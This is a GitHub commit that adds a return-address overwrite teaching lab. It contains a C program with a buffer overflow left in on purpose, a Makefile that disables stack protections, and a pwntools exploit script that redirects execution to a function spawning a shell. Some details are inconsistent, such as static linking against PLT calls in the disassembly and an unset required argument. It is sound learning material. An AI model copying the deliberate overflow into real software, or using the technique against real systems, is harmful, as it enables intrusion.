Skip to content

Commit c3dffca

Browse files
committed
Add rop example
1 parent 3499e66 commit c3dffca

File tree

3 files changed

+91
-0
lines changed

3 files changed

+91
-0
lines changed

rop_chaining/Makefile

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
CC=gcc
2+
CFLAGS=-I. -fno-stack-protector -no-pie -Wno-stringop-overflow -Wno-nonnull -static
3+
4+
# Statically linked to give more gadgets
5+
buffer_overflow: rop.c
6+
$(CC) $(CFLAGS) -o rop rop.c
7+
8+
clean:
9+
$(RM) rop

rop_chaining/rop.c

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
#include <stdio.h> // For puts and fgets
2+
#include <unistd.h> // For execve
3+
#include <stdlib.h>
4+
5+
void access_vault(int code)
6+
{
7+
if (code == 1337) {
8+
puts("Access granted");
9+
execve("/bin/sh", NULL, NULL);
10+
} else {
11+
puts("Access denied!");
12+
}
13+
}
14+
15+
int main()
16+
{
17+
char input_buffer[16];
18+
puts("Enter the password to access Santa Ono's secret vault:");
19+
20+
fgets(input_buffer, 32, stdin); // Nothing can go wrong here right?
21+
22+
puts("HAHA you thought! There was no password, you can NEVER get in >:)");
23+
24+
return EXIT_SUCCESS;
25+
}

rop_chaining/solve.py

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
#!/usr/bin/env python3
2+
3+
from pwn import *
4+
5+
ACCESS_VAULT_FUNCTION_ADDR = 0x00401146
6+
7+
# Tell pwntools our target process to automate future functions
8+
elf = context.binary = ELF('rop')
9+
10+
io = process() # Actually start running the process
11+
12+
# Wait until we are prompted with input
13+
# Notice how we use the "b" literal to mark it as a bytes object
14+
# https://docs.python.org/3/library/stdtypes.html#binary-sequence-types-bytes-bytearray-memoryview
15+
io.recvuntil(b"Enter the password to access Santa Ono's secret vault:")
16+
17+
# "disassemble main" in GDB launched with "gdb buffer_overflow"
18+
# Dump of assembler code for function main:
19+
# 0x0000000000401175 <+0>: push rbp
20+
# 0x0000000000401176 <+1>: mov rbp,rsp
21+
# 0x0000000000401179 <+4>: sub rsp,0x10
22+
# 0x000000000040117d <+8>: lea rax,[rip+0xe9c] # 0x402020
23+
# 0x0000000000401184 <+15>: mov rdi,rax
24+
# 0x0000000000401187 <+18>: call 0x401030 <puts@plt>
25+
# 0x000000000040118c <+23>: mov rdx,QWORD PTR [rip+0x2ead] # 0x404040 <stdin@GLIBC_2.2.5>
26+
# 0x0000000000401193 <+30>: lea rax,[rbp-0x10]
27+
# 0x0000000000401197 <+34>: mov esi,0x20
28+
# 0x000000000040119c <+39>: mov rdi,rax
29+
# 0x000000000040119f <+42>: call 0x401040 <fgets@plt>
30+
# 0x00000000004011a4 <+47>: lea rax,[rip+0xead] # 0x402058
31+
# 0x00000000004011ab <+54>: mov rdi,rax
32+
# 0x00000000004011ae <+57>: call 0x401030 <puts@plt>
33+
# 0x00000000004011b3 <+62>: mov eax,0x0
34+
# 0x00000000004011b8 <+67>: leave
35+
# 0x00000000004011b9 <+68>: ret <----- reads our injected return address!
36+
37+
# In assembly you can read "sub rsp,0x10" at the start of "main"
38+
# We need to write past 0x10 bytes to start modifying maliciously
39+
dummy_data = b'A' * 0x10
40+
# The saved ebp doesn't really matter
41+
# We only execute one other function which doesn't need it
42+
saved_ebp = b'B' * 8
43+
# We have to pack the address properly (endianess!)
44+
redirect_addr = p64(ACCESS_VAULT_FUNCTION_ADDR)
45+
# Craft the final bytes payload
46+
payload = dummy_data + saved_ebp + redirect_addr
47+
48+
# Overflow stack and get redirection
49+
# fgets will write past the end of the stack frame
50+
# It will set the return eip on the stack
51+
# The "ret" instruction will use this to go to our address
52+
io.send(payload)
53+
54+
# Open up stdin to terminal input
55+
# Required so you can start using the shell interactively
56+
# Generally speaking you add this after popping a shell
57+
io.interactive()

0 commit comments

Comments
 (0)